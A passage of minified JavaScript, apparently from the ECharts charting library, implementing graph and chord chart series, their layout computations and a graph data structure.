p=s+l;Uz[0]=Gz(r[0],i[0],a[0],s),Uz[1]=Gz(r[1],i[1],a[1],s),Wz[0]=Gz(r[0],i[0],a[0],p),Wz[1]=Gz(r[1],i[1],a[1],p);var d=Kz(Uz,t)-c;if(qz(d)<.01)break;var m=Kz(Wz,t)-c;l/=2,d<0?m>=0?s+=l:s-=l:m>=0?s-=l:s+=l}return s}function Yz(e,t){var n=[],r=si,i=[[],[],[]],a=[[],[]],o=[];t/=2,e.eachEdge(function(e,s){var c=e.getLayout(),l=e.getVisual(`fromSymbol`),u=e.getVisual(`toSymbol`);c.__original||(c.__original=[Ut(c[0]),Ut(c[1])],c[2]&&c.__original.push(Ut(c[2])));var d=c.__original;if(c[2]!=null){if(Ht(i[0],d[0]),Ht(i[1],d[2]),Ht(i[2],d[1]),l&&l!==`none`){var f=pz(e.node1),p=Jz(i,d[0],f*t);r(i[0][0],i[1][0],i[2][0],p,n),i[0][0]=n[3],i[1][0]=n[4],r(i[0][1],i[1][1],i[2][1],p,n),i[0][1]=n[3],i[1][1]=n[4]}if(u&&u!==`none`){var f=pz(e.node2),p=Jz(i,d[1],f*t);r(i[0][0],i[1][0],i[2][0],p,n),i[1][0]=n[1],i[2][0]=n[2],r(i[0][1],i[1][1],i[2][1],p,n),i[1][1]=n[1],i[2][1]=n[2]}Ht(c[0],i[0]),Ht(c[1],i[2]),Ht(c[2],i[1])}else{if(Ht(a[0],d[0]),Ht(a[1],d[1]),qt(o,a[1],a[0]),Zt(o,o),l&&l!==`none`){var f=pz(e.node1);Kt(a[0],a[0],o,f*t)}if(u&&u!==`none`){var f=pz(e.node2);Kt(a[1],a[1],o,-f*t)}Ht(c[0],a[0]),Ht(c[1],a[1])}})}var Xz=oc();function Zz(e){if(e)return Xz(e).bridge}function Qz(e,t){e&&(Xz(e).bridge=t)}function $z(e){return e.type===`view`}var eB=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.prototype.init=function(e,t){var n=new yA,r=new Lz,i=this.group,a=new Y;this._controller=new VP(t.getZr()),this._controllerHost={target:a},a.add(n.group),a.add(r.group),i.add(a),this._symbolDraw=n,this._lineDraw=r,this._mainGroup=a,this._firstRender=!0},t.prototype.render=function(e,t,n){var r=this,i=e.coordinateSystem,a=!1;this._model=e,this._api=n,this._active=!0;var o=this._getThumbnailInfo();o&&o.bridge.reset(n);var s=this._symbolDraw,c=this._lineDraw;if($z(i)){var l={x:i.x,y:i.y,scaleX:i.scaleX,scaleY:i.scaleY};this._firstRender?this._mainGroup.attr(l):Lp(this._mainGroup,l,e)}Yz(e.getGraph(),fz(e));var u=e.getData();s.updateData(u);var d=e.getEdgeData();c.updateData(d),this._updateNodeAndLinkScale(),this._updateController(null,e,n),clearTimeout(this._layoutTimeout);var f=e.forceLayout,p=e.get([`force`,`layoutAnimation`]);f&&(a=!0,this._startForceLayoutIteration(f,n,p));var m=e.get(`layout`);u.graph.eachNode(function(t){var i=t.dataIndex,a=t.getGraphicEl(),o=t.getModel();if(a){a.off(`drag`).off(`dragend`);var s=o.get(`draggable`);s&&a.on(`drag`,function(o){switch(m){case`force`:f.warmUp(),!r._layouting&&r._startForceLayoutIteration(f,n,p),f.setFixed(i),u.setItemLayout(i,[a.x,a.y]);break;case`circular`:u.setItemLayout(i,[a.x,a.y]),t.setLayout({fixed:!0},!0),gz(e,`symbolSize`,t,[o.offsetX,o.offsetY]),r.updateLayout(e);break;default:u.setItemLayout(i,[a.x,a.y]),uz(e.getGraph(),e),r.updateLayout(e);break}}).on(`dragend`,function(){f&&f.setUnfixed(i)}),a.setDraggable(s,!!o.get(`cursor`)),o.get([`emphasis`,`focus`])===`adjacency`&&(Z(a).focus=t.getAdjacentDataIndices())}}),u.graph.eachEdge(function(e){var t=e.getGraphicEl(),n=e.getModel().get([`emphasis`,`focus`]);t&&n===`adjacency`&&(Z(t).focus={edge:[e.dataIndex],node:[e.node1.dataIndex,e.node2.dataIndex]})});var h=e.get(`layout`)===`circular`&&e.get([`circular`,`rotateLabel`]),g=u.getLayout(`cx`),_=u.getLayout(`cy`);u.graph.eachNode(function(e){vz(e,h,g,_)}),this._firstRender=!1,a||this._renderThumbnail(e,n,this._symbolDraw,this._lineDraw)},t.prototype.dispose=function(){this.remove(),this._controller&&this._controller.dispose(),this._controllerHost=null},t.prototype._startForceLayoutIteration=function(e,t,n){var r=this,i=!1;(function a(){e.step(function(e){r.updateLayout(r._model),(e||!i)&&(i=!0,r._renderThumbnail(r._model,t,r._symbolDraw,r._lineDraw)),(r._layouting=!e)&&(n?r._layoutTimeout=setTimeout(a,16):a())})})()},t.prototype._updateController=function(e,t,n){var r=this._controller,i=this._controllerHost,a=t.coordinateSystem;if(!$z(a)){r.disable();return}r.enable(t.get(`roam`),{api:n,zInfo:{component:t},triggerInfo:{roamTrigger:t.get(`roamTrigger`),isInSelf:function(e,t,n){return a.containPoint([t,n])},isInClip:function(t,n,r){return!e||e.contain(n,r)}}}),i.zoomLimit=t.get(`scaleLimit`),i.zoom=a.getZoom(),r.off(`pan`).off(`zoom`).on(`pan`,function(e){n.dispatchAction({seriesId:t.id,type:`graphRoam`,dx:e.dx,dy:e.dy})}).on(`zoom`,function(e){n.dispatchAction({seriesId:t.id,type:`graphRoam`,zoom:e.scale,originX:e.originX,originY:e.originY})})},t.prototype.updateViewOnPan=function(e,t,n){this._active&&(ZP(this._controllerHost,n.dx,n.dy),this._updateThumbnailWindow())},t.prototype.updateViewOnZoom=function(e,t,n){this._active&&(QP(this._controllerHost,n.zoom,n.originX,n.originY),this._updateNodeAndLinkScale(),Yz(e.getGraph(),fz(e)),this._lineDraw.updateLayout(),t.updateLabelLayout(),this._updateThumbnailWindow())},t.prototype._updateNodeAndLinkScale=function(){var e=this._model,t=e.getData(),n=fz(e);t.eachItemGraphicEl(function(e,t){e&&e.setSymbolScale(n)})},t.prototype.updateLayout=function(e){this._active&&(Yz(e.getGraph(),fz(e)),this._symbolDraw.updateLayout(),this._lineDraw.updateLayout())},t.prototype.remove=function(){this._active=!1,clearTimeout(this._layoutTimeout),this._layouting=!1,this._layoutTimeout=null,this._symbolDraw&&this._symbolDraw.remove(),this._lineDraw&&this._lineDraw.remove(),this._controller&&this._controller.disable()},t.prototype._getThumbnailInfo=function(){var e=this._model,t=e.coordinateSystem;if(t.type===`view`){var n=Zz(e);if(n)return{bridge:n,coordSys:t}}},t.prototype._updateThumbnailWindow=function(){var e=this._getThumbnailInfo();e&&e.bridge.updateWindow(e.coordSys.transform,this._api)},t.prototype._renderThumbnail=function(e,t,n,r){var i=this._getThumbnailInfo();if(i){var a=new Y,o=n.group.children(),s=r.group.children(),c=new Y,l=new Y;a.add(l),a.add(c);for(var u=0;u<o.length;u++){var d=o[u],f=d.children()[0],p=d.x,m=d.y,h=F(P(f.shape),{width:f.scaleX,height:f.scaleY,x:p-f.scaleX/2,y:m-f.scaleY/2}),g=P(f.style),_=new f.constructor({shape:h,style:g,z2:151});l.add(_)}for(var u=0;u<s.length;u++){var d=s[u],v=d.children()[0],g=P(v.style),h=P(v.shape),y=new kz({style:g,shape:h,z2:151});c.add(y)}i.bridge.renderContent({api:t,roamType:e.get(`roam`),viewportRect:null,group:a,targetTrans:i.coordSys.transform})}},t.type=`graph`,t}(Ab);function tB(e){return`_EC_`+e}var nB=function(){function e(e){this.type=`graph`,this.nodes=[],this.edges=[],this._nodesMap={},this._edgesMap={},this._directed=e||!1}return e.prototype.isDirected=function(){return this._directed},e.prototype.addNode=function(e,t){e=e==null?``+t:``+e;var n=this._nodesMap;if(!n[tB(e)]){var r=new rB(e,t);return r.hostGraph=this,this.nodes.push(r),n[tB(e)]=r,r}},e.prototype.getNodeByIndex=function(e){var t=this.data.getRawIndex(e);return this.nodes[t]},e.prototype.getNodeById=function(e){return this._nodesMap[tB(e)]},e.prototype.addEdge=function(e,t,n){var r=this._nodesMap,i=this._edgesMap;if(ht(e)&&(e=this.nodes[e]),ht(t)&&(t=this.nodes[t]),e instanceof rB||(e=r[tB(e)]),t instanceof rB||(t=r[tB(t)]),!(!e||!t)){var a=e.id+`-`+t.id,o=new iB(e,t,n);return o.hostGraph=this,this._directed&&(e.outEdges.push(o),t.inEdges.push(o)),e.edges.push(o),e!==t&&t.edges.push(o),this.edges.push(o),i[a]=o,o}},e.prototype.getEdgeByIndex=function(e){var t=this.edgeData.getRawIndex(e);return this.edges[t]},e.prototype.getEdge=function(e,t){e instanceof rB&&(e=e.id),t instanceof rB&&(t=t.id);var n=this._edgesMap;return this._directed?n[e+`-`+t]:n[e+`-`+t]||n[t+`-`+e]},e.prototype.eachNode=function(e,t){for(var n=this.nodes,r=n.length,i=0;i<r;i++)n[i].dataIndex>=0&&e.call(t,n[i],i)},e.prototype.eachEdge=function(e,t){for(var n=this.edges,r=n.length,i=0;i<r;i++)n[i].dataIndex>=0&&n[i].node1.dataIndex>=0&&n[i].node2.dataIndex>=0&&e.call(t,n[i],i)},e.prototype.breadthFirstTraverse=function(e,t,n,r){if(t instanceof rB||(t=this._nodesMap[tB(t)]),t){for(var i=n===`out`?`outEdges`:n===`in`?`inEdges`:`edges`,a=0;a<this.nodes.length;a++)this.nodes[a].__visited=!1;if(!e.call(r,t,null))for(var o=[t];o.length;)for(var s=o.shift(),c=s[i],a=0;a<c.length;a++){var l=c[a],u=l.node1===s?l.node2:l.node1;if(!u.__visited){if(e.call(r,u,s))return;o.push(u),u.__visited=!0}}}},e.prototype.update=function(){for(var e=this.data,t=this.edgeData,n=this.nodes,r=this.edges,i=0,a=n.length;i<a;i++)n[i].dataIndex=-1;for(var i=0,a=e.count();i<a;i++)n[e.getRawIndex(i)].dataIndex=i;t.filterSelf(function(e){var n=r[t.getRawIndex(e)];return n.node1.dataIndex>=0&&n.node2.dataIndex>=0});for(var i=0,a=r.length;i<a;i++)r[i].dataIndex=-1;for(var i=0,a=t.count();i<a;i++)r[t.getRawIndex(i)].dataIndex=i},e.prototype.clone=function(){for(var t=new e(this._directed),n=this.nodes,r=this.edges,i=0;i<n.length;i++)t.addNode(n[i].id,n[i].dataIndex);for(var i=0;i<r.length;i++){var a=r[i];t.addEdge(a.node1.id,a.node2.id,a.dataIndex)}return t},e}(),rB=function(){function e(e,t){this.inEdges=[],this.outEdges=[],this.edges=[],this.dataIndex=-1,this.id=e??``,this.dataIndex=t??-1}return e.prototype.degree=function(){return this.edges.length},e.prototype.inDegree=function(){return this.inEdges.length},e.prototype.outDegree=function(){return this.outEdges.length},e.prototype.getModel=function(e){if(!(this.dataIndex<0))return this.hostGraph.data.getItemModel(this.dataIndex).getModel(e)},e.prototype.getAdjacentDataIndices=function(){for(var e={edge:[],node:[]},t=0;t<this.edges.length;t++){var n=this.edges[t];n.dataIndex<0||(e.edge.push(n.dataIndex),e.node.push(n.node1.dataIndex,n.node2.dataIndex))}return e},e.prototype.getTrajectoryDataIndices=function(){for(var e=G(),t=G(),n=0,r=this.edges.length;n<r;n++){var i=this.edges[n];if(!(i.dataIndex<0)){e.set(i.dataIndex,!0);for(var a=[i.node1],o=[i.node2],s=0;s<a.length;){var c=a[s];s++,t.set(c.dataIndex,!0);for(var l=c.inEdges,u=0,d=l.length,f=void 0,p=void 0;u<d;u++)f=l[u],p=f.dataIndex,p>=0&&!e.hasKey(p)&&(e.set(p,!0),a.push(f.node1))}for(s=0;s<o.length;){var m=o[s];s++,t.set(m.dataIndex,!0);for(var h=m.outEdges,u=0,g=h.length,_=void 0,v=void 0;u<g;u++)_=h[u],v=_.dataIndex,v>=0&&!e.hasKey(v)&&(e.set(v,!0),o.push(_.node2))}}}return{edge:e.keys(),node:t.keys()}},e}(),iB=function(){function e(e,t,n){this.dataIndex=-1,this.node1=e,this.node2=t,this.dataIndex=n??-1}return e.prototype.getModel=function(e){if(!(this.dataIndex<0))return this.hostGraph.edgeData.getItemModel(this.dataIndex).getModel(e)},e.prototype.getAdjacentDataIndices=function(){return{edge:[this.dataIndex],node:[this.node1.dataIndex,this.node2.dataIndex]}},e.prototype.getTrajectoryDataIndices=function(){var e=G(),t=G();e.set(this.dataIndex,!0);for(var n=[this.node1],r=[this.node2],i=0;i<n.length;){var a=n[i];i++,t.set(a.dataIndex,!0);for(var o=a.inEdges,s=0,c=o.length,l=void 0,u=void 0;s<c;s++)l=a.inEdges[s],u=l.dataIndex,u>=0&&!e.hasKey(u)&&(e.set(u,!0),n.push(l.node1))}for(i=0;i<r.length;){var d=r[i];i++,t.set(d.dataIndex,!0);for(var f=d.outEdges,s=0,c=f.length,p=void 0,m=void 0;s<c;s++)p=d.outEdges[s],m=p.dataIndex,m>=0&&!e.hasKey(m)&&(e.set(m,!0),r.push(p.node2))}return{edge:e.keys(),node:t.keys()}},e}();function aB(e,t){return{getValue:function(n){var r=this[e][t];return r.getStore().get(r.getDimensionIndex(n||`value`),this.dataIndex)},setVisual:function(n,r){this.dataIndex>=0&&this[e][t].setItemVisual(this.dataIndex,n,r)},getVisual:function(n){return this[e][t].getItemVisual(this.dataIndex,n)},setLayout:function(n,r){this.dataIndex>=0&&this[e][t].setItemLayout(this.dataIndex,n,r)},getLayout:function(){return this[e][t].getItemLayout(this.dataIndex)},getGraphicEl:function(){return this[e][t].getItemGraphicEl(this.dataIndex)},getRawIndex:function(){return this[e][t].getRawIndex(this.dataIndex)}}}ot(rB,aB(`hostGraph`,`data`)),ot(iB,aB(`hostGraph`,`edgeData`));function oB(e,t,n,r,i){for(var a=new nB(r),o=0;o<e.length;o++)a.addNode(Ct(e[o].id,e[o].name,o),o);for(var s=[],c=[],l=0,o=0;o<t.length;o++){var u=t[o],d=u.source,f=u.target;a.addEdge(d,f,l)&&(c.push(u),s.push(Ct(Qs(u.id,null),d+` > `+f)),l++)}var p=n.get(`coordinateSystem`),m;if(p===`cartesian2d`||p===`polar`||p===`matrix`)m=fT(e,n);else{var h=Tg.get(p),g=h&&h.dimensions||[];it(g,`value`)<0&&g.concat([`value`]);var _=Qw(e,{coordDimensions:g,encodeDefine:n.getEncode()}).dimensions;m=new Zw(_,n),m.initData(e)}var v=new Zw([`value`],n);return v.initData(c,s),i&&i(m,v),eL({mainData:m,struct:a,structAttr:`graph`,datas:{node:m,edge:v},datasAttr:{node:`data`,edge:`edgeData`}}),a.update(),a}var sB=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n.hasSymbolVisual=!0,n}return t.prototype.init=function(t){e.prototype.init.apply(this,arguments);var n=this;function r(){return n._categoriesData}this.legendVisualProvider=new rM(r,r),this.fillDataTextStyle(t.edges||t.links),this._updateCategoriesData()},t.prototype.mergeOption=function(t){e.prototype.mergeOption.apply(this,arguments),this.fillDataTextStyle(t.edges||t.links),this._updateCategoriesData()},t.prototype.mergeDefaultAndTheme=function(t){e.prototype.mergeDefaultAndTheme.apply(this,arguments),zs(t,`edgeLabel`,[`show`])},t.prototype.getInitialData=function(e,t){var n=e.edges||e.links||[],r=e.data||e.nodes||[],i=this;if(r&&n){oz(this);var a=oB(r,n,this,!0,o);return L(a.edges,function(e){sz(e.node1,e.node2,this,e.dataIndex)},this),a.data}function o(e,t){e.wrapMethod(`getItemModel`,function(e){var t=i._categoriesModels[e.getShallow(`category`)];return t&&(t.parentModel=e.parentModel,e.parentModel=t),e});var n=lh.prototype.getModel;function r(e,t){var r=n.call(this,e,t);return r.resolveParentPath=a,r}t.wrapMethod(`getItemModel`,function(e){return e.resolveParentPath=a,e.getModel=r,e});function a(e){if(e&&(e[0]===`label`||e[1]===`label`)){var t=e.slice();return e[0]===`label`?t[0]=`edgeLabel`:e[1]===`label`&&(t[1]=`edgeLabel`),t}return e}}},t.prototype.getGraph=function(){return this.getData().graph},t.prototype.getEdgeData=function(){return this.getGraph().edgeData},t.prototype.getCategoriesData=function(){return this._categoriesData},t.prototype.formatTooltip=function(e,t,n){if(n===`edge`){var r=this.getData(),i=this.getDataParams(e,n),a=r.graph.getEdgeByIndex(e),o=r.getName(a.node1.dataIndex),s=r.getName(a.node2.dataIndex),c=[];return o!=null&&c.push(o),s!=null&&c.push(s),Xy(`nameValue`,{name:c.join(` > `),value:i.value,noValue:i.value==null})}return fb({series:this,dataIndex:e,multipleSeries:t})},t.prototype._updateCategoriesData=function(){var e=R(this.option.categories||[],function(e){return e.value==null?F({value:0},e):e}),t=new Zw([`value`],this);t.initData(e),this._categoriesData=t,this._categoriesModels=t.mapArray(function(e){return t.getItemModel(e)})},t.prototype.setZoom=function(e){this.option.zoom=e},t.prototype.setCenter=function(e){this.option.center=e},t.prototype.isAnimationEnabled=function(){return e.prototype.isAnimationEnabled.call(this)&&!(this.get(`layout`)===`force`&&this.get([`force`,`layoutAnimation`]))},t.type=`series.graph`,t.dependencies=[`grid`,`polar`,`geo`,`singleAxis`,`calendar`],t.defaultOption={z:2,coordinateSystem:`view`,legendHoverLink:!0,layout:null,circular:{rotateLabel:!1},force:{initLayout:null,repulsion:[0,50],gravity:.1,friction:.6,edgeLength:30,layoutAnimation:!0},left:`center`,top:`center`,symbol:`circle`,symbolSize:10,edgeSymbol:[`none`,`none`],edgeSymbolSize:10,edgeLabel:{position:`middle`,distance:5},draggable:!1,roam:!1,center:null,zoom:1,nodeScaleRatio:.6,label:{show:!1,formatter:`{b}`},itemStyle:{},lineStyle:{color:Q.color.neutral50,width:1,opacity:.5},emphasis:{scale:!0,label:{show:!0}},select:{itemStyle:{borderColor:Q.color.primary}}},t}(_b);function cB(e){e.registerChartView(eB),e.registerSeriesModel(sB),e.registerProcessor(JR),e.registerVisual(YR),e.registerVisual(ZR),e.registerLayout(dz),e.registerLayout(e.PRIORITY.VISUAL.POST_CHART_LAYOUT,yz),e.registerLayout(Sz),e.registerCoordinateSystem(`graphView`,{dimensions:_I.dimensions,create:wz}),e.registerAction({type:`focusNodeAdjacency`,event:`focusNodeAdjacency`,update:`series:focusNodeAdjacency`},zt),e.registerAction({type:`unfocusNodeAdjacency`,event:`unfocusNodeAdjacency`,update:`series:unfocusNodeAdjacency`},zt),e.registerAction({type:`graphRoam`,event:`graphRoam`,update:`none`},function(e,t,n){t.eachComponent({mainType:`series`,query:e},function(t){var r=n.getViewOfSeriesModel(t);r&&(e.dx!=null&&e.dy!=null&&r.updateViewOnPan(t,n,e),e.zoom!=null&&e.originX!=null&&e.originY!=null&&r.updateViewOnZoom(t,n,e));var i=t.coordinateSystem,a=tF(i,e,t.get(`scaleLimit`));t.setCenter&&t.setCenter(a.center),t.setZoom&&t.setZoom(a.zoom)})})}var lB=function(e){N(t,e);function t(t,n,r){var i=e.call(this)||this;Z(i).dataType=`node`,i.z2=2;var a=new Hu;return i.setTextContent(a),i.updateData(t,n,r,!0),i}return t.prototype.updateData=function(e,t,n,r){var i=this,a=e.graph.getNodeByIndex(t),o=e.hostModel,s=a.getModel(),c=s.getModel(`emphasis`),l=e.getItemLayout(t),u=F(mj(s.getModel(`itemStyle`),l,!0),l),d=this;if(isNaN(u.startAngle)){d.setShape(u);return}r?d.setShape(u):Lp(d,{shape:u},o,t);var f=F(mj(s.getModel(`itemStyle`),l,!0),l);i.setShape(f),i.useStyle(e.getItemVisual(t,`style`)),rf(i,s),this._updateLabel(o,s,a),e.setItemGraphicEl(t,d),rf(d,s,`itemStyle`);var p=c.get(`focus`);$d(this,p===`adjacency`?a.getAdjacentDataIndices():p,c.get(`blurScope`),c.get(`disabled`))},t.prototype._updateLabel=function(e,t,n){var r=this.getTextContent(),i=n.getLayout(),a=(i.startAngle+i.endAngle)/2,o=Math.cos(a),s=Math.sin(a),c=t.getModel(`label`);r.ignore=!c.get(`show`);var l=zm(t),u=n.getVisual(`style`);Rm(r,l,{labelFetcher:{getFormattedLabel:function(n,r,i,a,o,s){return e.getFormattedLabel(n,r,`node`,a,wt(o,l.normal&&l.normal.get(`formatter`),t.get(`name`)),s)}},labelDataIndex:n.dataIndex,defaultText:n.dataIndex+``,inheritColor:u.fill,defaultOpacity:u.opacity,defaultOutsidePosition:`startArc`});var d=c.get(`position`)||`outside`,f=c.get(`distance`)||0,p=d===`outside`?i.r+f:(i.r+i.r0)/2;this.textConfig={inside:d!==`outside`};var m=d===`outside`?o>0?`left`:`right`:c.get(`align`)||`center`,h=d===`outside`?s>0?`top`:`bottom`:c.get(`verticalAlign`)||`middle`;r.attr({x:o*p+i.cx,y:s*p+i.cy,rotation:0,style:{align:m,verticalAlign:h}})},t}(tp);(function(){function e(){this.s1=[0,0],this.s2=[0,0],this.sStartAngle=0,this.sEndAngle=0,this.t1=[0,0],this.t2=[0,0],this.tStartAngle=0,this.tEndAngle=0,this.cx=0,this.cy=0,this.r=0,this.clockwise=!0}return e})();var uB=function(e){N(t,e);function t(t,n,r,i){var a=e.call(this)||this;return Z(a).dataType=`edge`,a.updateData(t,n,r,i,!0),a}return t.prototype.buildPath=function(e,t){e.moveTo(t.s1[0],t.s1[1]);var n=.7,r=t.clockwise;e.arc(t.cx,t.cy,t.r,t.sStartAngle,t.sEndAngle,!r),e.bezierCurveTo((t.cx-t.s2[0])*n+t.s2[0],(t.cy-t.s2[1])*n+t.s2[1],(t.cx-t.t1[0])*n+t.t1[0],(t.cy-t.t1[1])*n+t.t1[1],t.t1[0],t.t1[1]),e.arc(t.cx,t.cy,t.r,t.tStartAngle,t.tEndAngle,!r),e.bezierCurveTo((t.cx-t.t2[0])*n+t.t2[0],(t.cy-t.t2[1])*n+t.t2[1],(t.cx-t.s1[0])*n+t.s1[0],(t.cy-t.s1[1])*n+t.s1[1],t.s1[0],t.s1[1]),e.closePath()},t.prototype.updateData=function(e,t,n,r,i){var a=e.hostModel,o=t.graph.getEdgeByIndex(n),s=o.getLayout(),c=o.node1.getModel(),l=t.getItemModel(o.dataIndex),u=l.getModel(`lineStyle`),d=l.getModel(`emphasis`),f=d.get(`focus`),p=F(mj(c.getModel(`itemStyle`),s,!0),s),m=this;if(isNaN(p.sStartAngle)||isNaN(p.tStartAngle)){m.setShape(p);return}i?(m.setShape(p),dB(m,o,e,u)):(Up(m),dB(m,o,e,u),Lp(m,{shape:p},a,n)),$d(this,f===`adjacency`?o.getAdjacentDataIndices():f,d.get(`blurScope`),d.get(`disabled`)),rf(m,l,`lineStyle`),t.setItemGraphicEl(o.dataIndex,m)},t}(Cu);function dB(e,t,n,r){var i=t.node1,a=t.node2,o=e.style;switch(e.setStyle(r.getLineStyle()),r.get(`color`)){case`source`:o.fill=n.getItemVisual(i.dataIndex,`style`).fill,o.decal=i.getVisual(`style`).decal;break;case`target`:o.fill=n.getItemVisual(a.dataIndex,`style`).fill,o.decal=a.getVisual(`style`).decal;break;case`gradient`:var s=n.getItemVisual(i.dataIndex,`style`).fill,c=n.getItemVisual(a.dataIndex,`style`).fill;if(H(s)&&H(c)){var l=e.shape;o.fill=new xp((l.s1[0]+l.s2[0])/2,(l.s1[1]+l.s2[1])/2,(l.t1[0]+l.t2[0])/2,(l.t1[1]+l.t2[1])/2,[{offset:0,color:s},{offset:1,color:c}],!0)}break}}var fB=Math.PI/180,pB=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.prototype.init=function(e,t){},t.prototype.render=function(e,t,n){var r=e.getData(),i=this._data,a=this.group,o=-e.get(`startAngle`)*fB;if(r.diff(i).add(function(e){if(r.getItemLayout(e)){var t=new lB(r,e,o);Z(t).dataIndex=e,a.add(t)}}).update(function(t,n){var s=i.getItemGraphicEl(n);if(!r.getItemLayout(t)){s&&Hp(s,e,n);return}s?s.updateData(r,t,o):s=new lB(r,t,o),a.add(s)}).remove(function(t){var n=i.getItemGraphicEl(t);n&&Hp(n,e,t)}).execute(),!i){var s=e.get(`center`);this.group.scaleX=.01,this.group.scaleY=.01,this.group.originX=X(s[0],n.getWidth()),this.group.originY=X(s[1],n.getHeight()),Rp(this.group,{scaleX:1,scaleY:1},e)}this._data=r,this.renderEdges(e,o)},t.prototype.renderEdges=function(e,t){var n=e.getData(),r=e.getEdgeData(),i=this._edgeData,a=this.group;r.diff(i).add(function(e){var i=new uB(n,r,e,t);Z(i).dataIndex=e,a.add(i)}).update(function(e,o){var s=i.getItemGraphicEl(o);s.updateData(n,r,e,t),a.add(s)}).remove(function(t){var n=i.getItemGraphicEl(t);n&&Hp(n,e,t)}).execute(),this._edgeData=r},t.prototype.dispose=function(){},t.type=`chord`,t}(Ab),mB=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.prototype.init=function(t){e.prototype.init.apply(this,arguments),this.fillDataTextStyle(t.edges||t.links),this.legendVisualProvider=new rM(z(this.getData,this),z(this.getRawData,this))},t.prototype.mergeOption=function(t){e.prototype.mergeOption.apply(this,arguments),this.fillDataTextStyle(t.edges||t.links)},t.prototype.getInitialData=function(e,t){var n=e.edges||e.links||[],r=e.data||e.nodes||[];if(r&&n)return oB(r,n,this,!0,i).data;function i(e,t){var n=lh.prototype.getModel;function r(e,t){var r=n.call(this,e,t);return r.resolveParentPath=i,r}t.wrapMethod(`getItemModel`,function(e){return e.resolveParentPath=i,e.getModel=r,e});function i(e){if(e&&(e[0]===`label`||e[1]===`label`)){var t=e.slice();return e[0]===`label`?t[0]=`edgeLabel`:e[1]===`label`&&(t[1]=`edgeLabel`),t}return e}}},t.prototype.getGraph=function(){return this.getData().graph},t.prototype.getEdgeData=function(){return this.getGraph().edgeData},t.prototype.formatTooltip=function(e,t,n){var r=this.getDataParams(e,n);if(n===`edge`){var i=this.getData(),a=i.graph.getEdgeByIndex(e),o=i.getName(a.node1.dataIndex),s=i.getName(a.node2.dataIndex),c=[];return o!=null&&c.push(o),s!=null&&c.push(s),Xy(`nameValue`,{name:c.join(` > `),value:r.value,noValue:r.value==null})}return Xy(`nameValue`,{name:r.name,value:r.value,noValue:r.value==null})},t.prototype.getDataParams=function(t,n){var r=e.prototype.getDataParams.call(this,t,n);if(n===`node`){var i=this.getData(),a=this.getGraph().getNodeByIndex(t);r.name??=i.getName(t),r.value??=a.getLayout().value}return r},t.type=`series.chord`,t.defaultOption={z:2,coordinateSystem:`none`,legendHoverLink:!0,colorBy:`data`,left:0,top:0,right:0,bottom:0,width:null,height:null,center:[`50%`,`50%`],radius:[`70%`,`80%`],clockwise:!0,startAngle:90,endAngle:`auto`,minAngle:0,padAngle:3,itemStyle:{borderRadius:[0,0,5,5]},lineStyle:{width:0,color:`source`,opacity:.2},label:{show:!0,position:`outside`,distance:5},emphasis:{focus:`adjacency`,lineStyle:{opacity:.5}}},t}(_b),hB=Math.PI/180;function gB(e,t){e.eachSeriesByType(`chord`,function(e){_B(e,t)})}function _B(e,t){var n=e.getData(),r=n.graph,i=e.getEdgeData();if(i.count()){var a=Hg(e,t),o=a.cx,s=a.cy,c=a.r,l=a.r0,u=Math.max((e.get(`padAngle`)||0)*hB,0),d=Math.max((e.get(`minAngle`)||0)*hB,0),f=-e.get(`startAngle`)*hB,p=f+Math.PI*2,m=e.get(`clockwise`),h=m?1:-1,g=[f,p];Zl(g,!m);var _=g[0],v=g[1]-_,y=n.getSum(`value`)===0&&i.getSum(`value`)===0,b=[],x=0;r.eachEdge(function(e){var t=y?1:e.getValue(`value`);y&&(t>0||d)&&(x+=2);var n=e.node1.dataIndex,r=e.node2.dataIndex;b[n]=(b[n]||0)+t,b[r]=(b[r]||0)+t});var S=0;if(r.eachNode(function(e){var t=e.getValue(`value`);isNaN(t)||(b[e.dataIndex]=Math.max(t,b[e.dataIndex]||0)),!y&&(b[e.dataIndex]>0||d)&&x++,S+=b[e.dataIndex]||0}),!(x===0||S===0)){u*x>=Math.abs(v)&&(u=Math.max(0,(Math.abs(v)-d*x)/x)),(u+d)*x>=Math.abs(v)&&(d=(Math.abs(v)-u*x)/x);var C=(v-u*x*h)/S,w=0,T=0,E=0,D=1/0;r.eachNode(function(e){var t=b[e.dataIndex]||0,n=C*(S?t:1)*h;Math.abs(n)<d?w+=d-Math.abs(n):(D=Math.min(D,Math.abs(n)-d),T+=Math.abs(n)-d,E+=Math.abs(n)),e.setLayout({angle:n,value:t})});var O=!1;if(w>T){var k=w/T;r.eachNode(function(e){var t=e.getLayout().angle;Math.abs(t)>=d?e.setLayout({angle:t*k,ratio:k},!0):e.setLayout({angle:d,ratio:d===0?1:t/d},!0)})}else r.eachNode(function(e){if(!O){var t=e.getLayout().angle;t-Math.min(t/E,1)*w<d&&(O=!0)}});var A=w;r.eachNode(function(e){if(!(A<=0)){var t=e.getLayout().angle;if(t>d&&d>0){var n=O?1:Math.min(t/E,1),r=t-d,i=Math.min(r,Math.min(A,w*n));A-=i,e.setLayout({angle:t-i,ratio:(t-i)/t},!0)}else d>0&&e.setLayout({angle:d,ratio:t===0?1:d/t},!0)}});var j=_,ee=[];r.eachNode(function(e){var t=Math.max(e.getLayout().angle,d);e.setLayout({cx:o,cy:s,r0:l,r:c,startAngle:j,endAngle:j+t*h,clockwise:m},!0),ee[e.dataIndex]=j,j+=(t+u)*h}),r.eachEdge(function(e){var t=y?1:e.getValue(`value`),n=C*(S?t:1)*h,r=e.node1.dataIndex,i=ee[r]||0,a=i+Math.abs((e.node1.getLayout().ratio||1)*n)*h,c=[o+l*Math.cos(i),s+l*Math.sin(i)],u=[o+l*Math.cos(a),s+l*Math.sin(a)],d=e.node2.dataIndex,f=ee[d]||0,p=f+Math.abs((e.node2.getLayout().ratio||1)*n)*h,g=[o+l*Math.cos(f),s+l*Math.sin(f)],_=[o+l*Math.cos(p),s+l*Math.sin(p)];e.setLayout({s1:c,s2:u,sStartAngle:i,sEndAngle:a,t1:g,t2:_,tStartAngle:f,tEndAngle:p,cx:o,cy:s,r:l,value:t,clockwise:m}),ee[r]=a,ee[d]=p})}}}function 